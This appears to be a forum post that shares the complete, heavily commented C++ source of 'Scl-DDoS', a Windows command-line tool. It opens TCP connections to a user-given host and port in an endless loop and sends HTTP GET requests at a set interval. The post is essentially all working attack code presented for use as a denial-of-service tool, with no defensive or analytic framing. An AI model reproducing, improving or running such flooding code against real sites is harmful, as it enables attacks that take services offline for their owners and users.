[C++][Source] Scl-DDoS (Simple CLI DDoSer) [Well-Commented code!][Windows]

#######################http://pastebin.com/zHd0YqRL#####################
#include <stdio.h>
#include <stdlib.h>
#include <winsock2.h>
#include <signal.h>

#define MAXRETRIES 3//Set max retries
#define BUFFSIZE 256//Set buffer size

//http header
const char * szHeader =
    "GET / HTTP/1.1\r\n"
    "Accept: text/html\r\n"
    "Accept-Language: *\r\n"
    "User-Agent: Mozilla/5.0\r\n"
    "Accept-Encoding:\r\n"
    "Connection: Keep-Alive\r\n"
    "Host: "; //Hostname/ip is appended later

void terminate(int nParam) //Terminate function
    {
    printf("Cleaning up...\n");
    WSACleanup(); //Cleanup
    printf("Finished!\n");
    exit(0); //Exit the program
    }

void usage() //Displays usage
    {
    printf("Usage: [IP/HOSTNAME] [PORT] [MAX-TIMEOUT]\n"
      "Arg 1 must be a valid IPv4-address or hostname! (ex. 192.168.0.100 / www.google.com)\n"
      "PORT must be a valid positive integer! (ex. 80)\n"
      "MAX-TIMEOUT(timeout defined in msec) must be a valid positive integer!\n");
    return;
    }

int main(int argc,char *argv[]) //Main function
    {
    //**
    // Check arguments  *
    //**
    if (argc != 4) //Check to see if there are 3 arguments...
        {
        usage(); //If not, then display usage,
        exit(1);//then exit...
        }

    //Check if both argument 2 and 3 is valid positive integers
    if (!(atoi(argv[2])>0)||!(atoi(argv[3])>0))
        {
        usage();//If not, then display usage,
        exit(1);//then exit...
        }
    //**

    //**
    // Initialize    *
    //**
    void (*termsign)(int); //Termination signal handle

    termsign = signal (SIGINT,terminate); //Set-up signal from SIGNINT(Interrupt) to terminate
    if (termsign == SIG_ERR) //If signal set-up failed, then quit...
        {
        printf("Cannot set-up signals!\nQuitting...\n");
        exit(1);//Exit...
        }

    WSADATA wsaData; //Instance of wsaData
    int nRes = WSAStartup(MAKEWORD(2,2), &wsaData); //Check version and start winsock2

    if (nRes != NO_ERROR) //Check if winsock had any errors...
        {
        printf("WSAStartup failed!\n");
        exit(1); //Exit
        }
    //**

    //**
    // Get/set host IP  *
    //**
    sockaddr_in cAddress; //Create instance sockaddr_in to define target host address

    printf("Challenging as IP...\n");
    cAddress.sin_addr.s_addr = inet_addr(argv[1]); //Set ip, if arg 1 is IP
    if (cAddress.sin_addr.s_addr!=-1) //If IP != -1
        printf("Using IP %s\n",inet_ntoa(cAddress.sin_addr)); //Use IP
    else
        {
        printf("Challenging as hostname...\n");
        hostent* addr = gethostbyname(argv[1]); //Resolve hostname of url

        if (addr!=NULL)        //If hostname is resolvable
            cAddress.sin_addr = (*(in_addr *)*addr->h_addr_list); //Then get the first IP of url
        else
            {
            printf("Couldn't resolve hostname!\n");
            exit(0); //Exit...
            }
        }
    printf("Using IP from hostname: %s\n",inet_ntoa(cAddress.sin_addr));

    cAddress.sin_family = AF_INET; //Set address type
    cAddress.sin_port = htons(atoi(argv[2])); //Set address
    //**

    //**
    // Create HTTP Packet  *
    //**
    int nBytesOut = NULL; //Holds number of bytes sent
    int nBytesIn = NULL;  //Holds number of bytes recieved

    char szBufferOut[BUFFSIZE]; //Out buffer
    char szBufferIn[BUFFSIZE];  //In buffer

    for(int i=0;i<BUFFSIZE;szBufferOut[i++]='\0'); //Zero memory for szBufferOut
    for(int i=0;i<BUFFSIZE;szBufferIn[i++]='\0'); //Zero memory for szBufferIn

    for(int i=0;szHeader[i]!='\0';szBufferOut[i]=szHeader[i],i++); //Copy header to outBuffer

    nBytesOut = (int)strlen(szBufferOut); //Get length of out-buffer so far
    for(int i=0;argv[1][i]!='\0';szBufferOut[nBytesOut+i]=argv[1][i],i++); //Add host address to header

    char szEndToken[4] = {'\r','\n','\r','\n'}; //End-token (CR,LF,CR,LF)

    nBytesOut = (int)strlen(szBufferOut); //Get length of out-buffer so far, again
    for(int i=0;i<(int)strlen(szEndToken);szBufferOut[nBytesOut+i]=szEndToken[i],i++); //Add CR LF CR LF

    printf("Out packet:\n\n%s\n\n",szBufferOut);
    //**

    //**
    // Main loop  *
    //**
    while(1)  //Loop until interrupted
        {
        SOCKET cSocket; //Declare instance of SOCKET
        cSocket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); //Set-up socket

        if (cSocket == INVALID_SOCKET)  //Check if socket was created successfully
            {
            printf("Socket creation failed! Error#:%d\n", WSAGetLastError());
            terminate(0); //Clean up, and quit...
            }

        //Try to connect to server...
        if (connect(cSocket,(SOCKADDR*)&cAddress,sizeof(cAddress)) == SOCKET_ERROR)
            {
            printf("Connection failed!\n");
            Sleep(atoi(argv[3]));
            continue; //Try again...
            }

        (void)send(cSocket, szBufferOut, strlen(szBufferOut), 0); //Send packet

        nBytesIn = NULL;

        while(nBytesIn == 0)  //Wait for response
            {
            nBytesIn = recv(cSocket, szBufferIn, BUFFSIZE-1, 0); //Get reply, if any...

            //If response is empty, or connection times out, then try again...
            if (nBytesIn <= 0 || nBytesIn == WSAECONNRESET)
                {
                printf("Host unavailable!\n");
                Sleep(atoi(argv[3]));
                nBytesIn = -1; //Will trigger loop restart *
                break;
                }

            if (nBytesIn <= 0) //Check if pack has a size > than 0
                {
                nBytesIn = -1; //Will trigger loop restart *
                break;
                }

            //See if reply is valid
            char szValidReply[12] = {'H','T','T','P','/','1','.','1',' ','2','0','0'};
            int ok = 0;

            for(int i=0;i<12;i++) //Compare chars...
                if (szValidReply[i]!=szBufferIn[i])
                {
                    ok = 1; //This is triggered if char's are different!
                    break;
                }
            if (ok!=0) //Check to see if they compared alright...
                {
                printf("Invalid reply!\nReply:\n--\n\n%s\n",szBufferIn);
                terminate(0);
                }
            }

        if (nBytesIn == -1) //If nBytesIn is set to -1,
            continue; //then retry connection... *

        printf("Reply[0-256]: \n\n%s\n\n\n",szBufferIn);

        for(int i=0;i<BUFFSIZE;szBufferIn[i++]='\0'); //Zero memory for szBufferIn
        closesocket(cSocket);    //Close socket
        Sleep(atoi(argv[3]));
        }
    //**

    terminate(0);
    }